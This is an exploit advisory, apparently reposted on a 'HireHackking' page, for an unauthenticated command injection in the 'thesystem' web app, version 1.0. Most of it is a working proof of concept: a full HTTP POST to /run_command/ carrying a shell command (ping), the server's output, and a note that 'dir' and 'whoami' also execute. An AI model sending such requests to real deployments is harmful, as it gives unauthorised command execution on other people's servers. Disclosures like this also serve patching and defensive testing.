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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: thesystem Command Injection 
# Author: Sadik Cetin 
# Discovery Date: 2019-09-28 
# Vendor Homepage: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ] 
# Software Link: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ] 
# Tested Version: 1.0 
# Tested on OS: Windows 10 
# CVE: N/A 
# Type: Webapps 
# Description: 
# Simple Command injection after login bypass(login_required didn't used) 

POST /run_command/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; boundary=---------------------------168279961491 
Content-Length: 325 
Connection: close 
Referer: [ http://127.0.0.1:8000/run_command/ | http://127.0.0.1:8000/run_command/ ] 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977; _gid=GA1.1.882048829.1569577719 
Upgrade-Insecure-Requests: 1 
-----------------------------168279961491 
Content-Disposition: form-data; name="csrfmiddlewaretoken" 
7rigJnIFAByKlmo6NBD7R8Ua66daVjdfiFH16T7HxJrP43GhJ7m7mVAIFIX7ZDfX 
-----------------------------168279961491 
Content-Disposition: form-data; name="command" 
ping 127.0.0.1 
-----------------------------168279961491-- 

HTTP/1.1 200 OK 
Date: Sat, 28 Sep 2019 09:42:26 GMT 
Server: WSGIServer/0.2 CPython/3.5.3 
Content-Length: 429 
Content-Type: text/html; charset=utf-8 
X-Frame-Options: SAMEORIGIN 

Pinging 127.0.0.1 with 32 bytes of data: 
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 
Ping statistics for 127.0.0.1: 
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
Approximate round trip times in milli-seconds: 
Minimum = 0ms, Maximum = 0ms, Average = 0ms 

When I try to run following command, all commands run: 
dir 
whoami